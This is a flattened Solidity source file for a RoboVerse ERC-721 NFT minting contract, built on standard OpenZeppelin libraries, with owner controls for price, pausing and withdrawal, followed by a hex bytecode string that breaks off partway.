@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/ERC721.so pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/RoboVerse.sol pragma solidity ^0.8.0; contract RoboVerse is ERC721Enumerable, Ownable { using Strings for uint256; string private baseURI; uint256 public cost = 0.05 ether; uint256 public maxSupply = 3500; uint256 public maxMintAmount = 20; bool public paused = false; constructor( string memory _name, string memory _symbol, string memory _initBaseURI ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { require(!paused, "the contract is paused"); uint256 supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded"); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); if (msg.sender != owner()){ require(msg.value >= cost * _mintAmount, "insufficient funds"); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString())) : ""; } function airDrop(address to, uint256 tokenId) public onlyOwner { safeTransferFrom(address (msg.sender),to,tokenId); } function setCost(uint256 _newCost) public onlyOwner() { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
0x6080604052600436106101d85760003560e01c80634f6ccce71161010257806395d89b4111610095578063c87b56dd11610064578063c87b56dd1461050c578063d5abeb011461052c578063e985e9c514610541578063f2fde38b14610561576101d8565b806395d89b41146104a4578063a0712d68146104b9578063a22cb465146104cc578063b88d4fde146104ec576101d8565b806370a08231116100d157806370a082311461043a578063715018a61461045a5780637f00c7a61461046f5780638da5cb5b1461048f576101d8565b80634f6ccce7146103c557806355f804b3146103e55780635c975abb146104055780636352211e1461041a576101d8565b806318160ddd1161017a5780633ccfd60b116101495780633ccfd60b1461035057806342842e0e14610358578063438b63001461037857806344a0d68a146103a5576101d8565b806318160ddd146102e6578063239c70ae146102fb57806323b872dd146103105780632f745c5914610330576101d8565b806306fdde03116101b657806306fdde0314610255578063081812fc14610277578063095ea7b3146102a457806313faede6146102c4576101d8565b806301ffc9a7146101dd57806302329a2914610213578063045f785014610235575b600080fd5b3480156101e957600080fd5b506101fd6101f8366004611b07565b610581565b60405161020a9190611c90565b60405180910390f35b34801561021f57600080fd5b5061023361022e366004611aed565b6105ae565b005b34801561024157600080fd5b50610233610250366004611ac4565b610609565b34801561026157600080fd5b5061026a610657565b60405161020a9190611c9b565b34801561028357600080fd5b50610297610292366004611b85565b6106e9565b60405161020a9190611bfb565b3480156102b057600080fd5b506102336102bf366004611ac4565b61072c565b3480156102d057600080fd5b506102d96107c4565b60405161020a91906122b2565b3480156102f257600080fd5b506102d96107ca565b34801561030757600080fd5b506102d96107d0565b34801561031c57600080fd5b5061023361032b3660046119e7565b6107d6565b34801561033c57600080fd5b506102d961034b366004611ac4565b61080e565b610233610860565b34801561036457600080fd5b506102336103733660046119e7565b61090b565b34801561038457600080fd5b5061039861039336600461199b565b610926565b60405161020a9190611c4c565b3480156103b157600080fd5b506102336103c0366004611b85565b6109e4565b3480156103d157600080fd5b506102d96103e0366004611b85565b610a28565b3480156103f157600080fd5b50610233610400366004611b3f565b610a83565b34801561041157600080fd5b506101fd610ad5565b34801561042657600080fd5b50610297610435366004611b85565b610ade565b34801561044657600080fd5b506102d961045536600461199b565b610b13565b34801561046657600080fd5b50610233610b57565b34801561047b57600080fd5b5061023361048a366004611b85565b610ba2565b34801561049b57600080fd5b50610297610be6565b3480156104b057600080fd5b5061026a610bf5565b6102336104c7366004611b85565b610c04565b3480156104d857600080fd5b506102336104e7366004611a9b565b610d1c565b3480156104f857600080fd5b50610233610507366004611a22565b610dea565b34801561051857600080fd5b5061026a610527366004611b85565b610e29565b34801561053857600080fd5b506102d9610eac565b34801561054d57600080fd5b506101fd61055c3660046119b5565b610eb2565b34801561056d57600080fd5b5061023361057c36600461199b565b610ee0565b60006001600160e01b0319821663780e9d6360e01b14806105a657506105a682610f4e565b90505b919050565b6105b6610f8e565b6001600160a01b03166105c7610be6565b6001600160a01b0316146105f65760405162461bcd60e51b81526004016105ed90612074565b60405180910390fd5b600f805460ff1916911515919091179055565b610611610f8e565b6001600160a01b0316610622610be6565b6001600160a01b0316146106485760405162461bcd60e51b81526004016105ed90612074565b61065333838361090b565b5050565b60606000805461066690612349565b80601f016020809104026020016040519081016040528092919081815260200182805461069290612349565b80156106df5780601f106106b4576101008083540402835291602001916106df565b820191906000526020600020905b8154815290600101906020018083116106c257829003601f168201915b5050505050905090565b60006106f482610f92565b6107105760405162461bcd60e51b81526004016105ed90612028565b506000908152600460205260409020546001600160a01b031690565b600061073782610ade565b9050806001600160a01b0316836001600160a01b0316141561076b5760405162461bcd60e51b81526004016105ed90612171565b806001600160a01b031661077d610f8e565b6001600160a01b0316148061079957506107998161055c610f8e565b6107b55760405162461bcd60e51b81526004016105ed90611e8f565b6107bf8383610faf565b505050565b600c5481565b60085490565b600e5481565b6107e76107e1610f8e565b8261101d565b6108035760405162461bcd60e51b81526004016105ed906121de565b6107bf8383836110a2565b600061081983610b13565b82106108375760405162461bcd60e51b81526004016105ed90611cae565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b610868610f8e565b6001600160a01b0316610879610be6565b6001600160a01b03161461089f5760405162461bcd60e51b81526004016105ed90612074565b6000336001600160a01b0316476040516108b890611bf8565b60006040518083038185875af1925050503d80600081146108f5576040519150601f19603f3d011682016040523d82523d6000602084013e6108fa565b606091505b505090508061090857600080fd5b50565b6107bf83838360405180602001604052806000815250610dea565b6060600061093383610b13565b905060008167ffffffffffffffff81111561095e57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610987578160200160208202803683370190505b50905060005b828110156109dc5761099f858261080e565b8282815181106109bf57634e487b7160e01b600052603260045260246000fd5b6020908102919091010152806109d481612384565b91505061098d565b509392505050565b6109ec610f8e565b6001600160a01b03166109fd610be6565b6001600160a01b031614610a235760405162461bcd60e51b81526004016105ed90612074565b600c55565b6000610a326107ca565b8210610a505760405162461bcd60e51b81526004016105ed9061222f565b60088281548110610a7157634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b610a8b610f8e565b6001600160a01b0316610a9c610be6565b6001600160a01b031614610ac25760405162461bcd60e51b81526004016105ed90612074565b805161065390600b90602084019061186b565b600f5460ff1681565b6000818152600260205260408120546001600160a01b0316806105a65760405162461bcd60e51b81526004016105ed90611f36565b60006001600160a01b038216610b3b5760405162461bcd60e51b81526004016105ed90611eec565b506001600160a01b031660009081526003602052604090205490565b610b5f610f8e565b6001600160a01b0316610b70610be6565b6001600160a01b031614610b965760405162461bcd60e51b81526004016105ed90612074565b610ba060006111cf565b565b610baa610f8e565b6001600160a01b0316610bbb610be6565b6001600160a01b031614610be15760405162461bcd60e51b81526004016105ed90612074565b600e55565b600a546001600160a01b031690565b60606001805461066690612349565b600f5460ff1615610c275760405162461bcd60e51b81526004016105ed906120a9565b6000610c316107ca565b905060008211610c535760405162461bcd60e51b81526004016105ed9061227b565b600e54821115610c755760405162461bcd60e51b81526004016105ed90611faf565b600d54610c8283836122bb565b1115610ca05760405162461bcd60e51b81526004016105ed90611f7f565b610ca8610be6565b6001600160a01b0316336001600160a01b031614610ced5781600c54610cce91906122e7565b341015610ced5760405162461bcd60e51b81526004016105ed906121b2565b60015b8281116107bf57610d0a33610d0583856122bb565b611221565b80610d1481612384565b915050610cf0565b610d24610f8e565b6001600160a01b0316826001600160a01b03161415610d555760405162461bcd60e51b81526004016105ed90611e0c565b8060056000610d62610f8e565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155610da6610f8e565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610dde9190611c90565b60405180910390a35050565b610dfb610df5610f8e565b8361101d565b610e175760405162461bcd60e51b81526004016105ed906121de565b610e238484848461123b565b50505050565b6060610e3482610f92565b610e505760405162461bcd60e51b81526004016105ed90612122565b6000610e5a61126e565b90506000815111610e7a5760405180602001604052806000815250610ea5565b80610e848461127d565b604051602001610e95929190611bc9565b6040516020818303038152906040525b9392505050565b600d5481565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b610ee8610f8e565b6001600160a01b0316610ef9610be6565b6001600160a01b031614610f1f5760405162461bcd60e51b81526004016105ed90612074565b6001600160a01b038116610f455760405162461bcd60e51b8152